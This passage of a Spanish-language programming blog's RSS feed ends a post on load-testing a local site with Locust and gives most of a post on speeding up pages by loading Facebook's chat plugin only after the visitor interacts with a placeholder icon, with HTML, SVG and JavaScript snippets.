style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;csv&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;prefijo_archivos_csv &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;headless &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;host&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;http:&lt;span style=&#34;color:#ff6ac1&#34;&gt;//&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;127.0.0.1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1323&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locustfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py  Pipfile  Pipfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lock  prefijo_archivos_csv_exceptions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv  prefijo_archivos_csv_failures&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv  prefijo_archivos_csv_stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv  prefijo_archivos_csv_stats_history&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;csv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;profundiza-locust&#34;&gt;Profundiza Locust&lt;/h2&gt;&#xA;&lt;p&gt;Además de lo que te he platicado aquí, locust tiene hooks para eventos, así como un cliente más veloz para tus peticiones, visita la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.locust.io/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de Locust&lt;/a&gt;&#xA; para profundizar más en el tema.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Existen herramientas bastante sencillas de utilizar que permiten auditar el número de peticiones por segundo que soporta un sitio web (rps), locust es una de ellas, está hecha en Python y con una mínima configuración nos permite procesar información y obtener gráficos al instante, y en tiempo real, del comportamiento de nuestro sitio web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalar-locust&#34;&gt;Instalar locust&lt;/h2&gt;&#xA;&lt;p&gt;El primer paso es instalarlo usando pip o cualquier manejador de entornos virtuales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;locust&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.2.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;configuracion-de-locust&#34;&gt;Configuración de locust&lt;/h2&gt;&#xA;&lt;p&gt;Una vez instalado vamos a crear un archivo llamado, de manera obligatoria, &lt;em&gt;locustfile.py&lt;/em&gt; en nuestra aplicación y vamos a colocarle el siguiente código.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Plugin de facebook chat ¿cómo disminuir su impacto?</title>
      <link>https://coffeebytes.dev/es/javascript/plugin-de-facebook-chat-como-disminuir-su-impacto/</link>
      <pubDate>Tue, 05 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/plugin-de-facebook-chat-como-disminuir-su-impacto/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El facebook chat plugin te permite agregar un botón página que se conecta con el chat de una fanpage en facebook. Pero, como ya sabes, facebook es monopólico y la instalación por defecto carga primero el plugin, volviendo tu sitio web más lento y afectando los indicadores de web vitals de las páginas. Hay ciertas maneras de mitigar esto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-impacto-del-plugin-de-facebook-chat&#34;&gt;El impacto del plugin de facebook chat&lt;/h2&gt;&#xA;&lt;p&gt;La carga del plugin de facebook desencadena una larga lista de peticiones web que descargan cerca de muchos MB de información y que consumen tiempo valioso que puede impactar la carga de tu página, observa.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaArchivosDelFacebookChatPlugin.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaArchivosDelFacebookChatPlugin.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Descargas desencadenadas por el plugin de chat de facebook.&#34; width=&#34;851&#34; height=&#34;933&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;95 solicitudes y cerca de 3 mb descargados, 4 segundos.&lt;/p&gt;&#xA;&lt;p&gt;Los plugin de terceros pueden impactar fuertemente en las métricas y el rendimiento de tus páginas web, tanto en el frontend como el backend.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;retrasar-la-carga-del-plugin&#34;&gt;Retrasar la carga del plugin&lt;/h2&gt;&#xA;&lt;p&gt;El plugin de facebook requiere dos etiquetas html:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Messenger plugin de chat Code --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-root&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Your plugin de chat code --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-customer-chat&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-customerchat&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para mitigar el efecto del plugin del facebook chat se pueden realizar varias acciones: podemos retrasar su carga hasta que haya transcurrido cierta cantidad de tiempo, también retrasarlo hasta la interacción de un usuario entre otras cosas. La solución óptima depende de como se comportan tus usuarios y el sitio web que tengas.&lt;/p&gt;&#xA;&lt;p&gt;Yo voy a retrasar la carga hasta que el usuario interactué con el chat.&lt;/p&gt;&#xA;&lt;p&gt;Para empezar vamos a colocar un icono falso en lugar del original. Este icono es el mismo que descarga facebook. Dado que es una simple imagen, no carga nada de código JS ni va acompañado de ninguna petición a los servidores de facebook.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Identificaremos este ícono de facebook falso por su id: fb-chat-logo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;position-fixed&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fb-chat-logo&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;bottom: 20px;right:20px; z-index: 1;&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;height&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;viewBox&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0 0 60 60&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cursor&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pointer&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;y&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;height&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;60px&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stroke&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stroke-width&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill-rule&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;evenodd&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;circle&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#0A7CFF&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cx&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;cy&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;30&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;circle&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;y&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;transform&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;translate(0.000000, -10.000000)&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;fill&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#FFFFFF&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;logo&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;transform&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;translate(0.000000, 10.000000)&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;M20,0 C31.2666,0 40,8.2528 40,19.4 C40,30.5472 31.2666,38.8 20,38.8 C17.9763,38.8 16.0348,38.5327 14.2106,38.0311 C13.856,37.9335 13.4789,37.9612 13.1424,38.1098 L9.1727,39.8621 C8.1343,40.3205 6.9621,39.5819 6.9273,38.4474 L6.8184,34.8894 C6.805,34.4513 6.6078,34.0414 6.2811,33.7492 C2.3896,30.2691 0,25.2307 0,19.4 C0,8.2528 8.7334,0 20,0 Z M7.99009,25.07344 C7.42629,25.96794 8.52579,26.97594 9.36809,26.33674 L15.67879,21.54734 C16.10569,21.22334 16.69559,21.22164 17.12429,21.54314 L21.79709,25.04774 C23.19919,26.09944 25.20039,25.73014 26.13499,24.24744 L32.00999,14.92654 C32.57369,14.03204 31.47419,13.02404 30.63189,13.66324 L24.32119,18.45264 C23.89429,18.77664 23.30439,18.77834 22.87569,18.45674 L18.20299,14.95224 C16.80079,13.90064 14.79959,14.26984 13.86509,15.75264 L7.99009,25.07344 Z&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;path&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;g&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;svg&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, vamos a obtener y vincular este ícono con los eventos de &lt;em&gt;mouseover&lt;/em&gt;, &lt;em&gt;click&lt;/em&gt;, &lt;em&gt;ontouchstart&lt;/em&gt; y &lt;em&gt;ontouchmove&lt;/em&gt;, para que cualquier interacción con el ícono cargue el código de facebook.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; fakeFbChatLogo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fb-chat-logo&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.addEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y le pasaremos una función llamada &lt;em&gt;loadFacebookChat&lt;/em&gt; que crearemos a continuación.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; loadFacebookChat() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; chatbox &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fb-customer-chat&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      chatbox.setAttribute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;page_id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;TU_FACEBOOK_CHAT_ID&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      chatbox.setAttribute(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;attribution&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;biz_inbox&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      (&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(d, s, id) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; js, fjs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; d.getElementsByTagName(s)[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (d.getElementById(id)) &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        js &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; d.createElement(s); js.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        js.src &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span 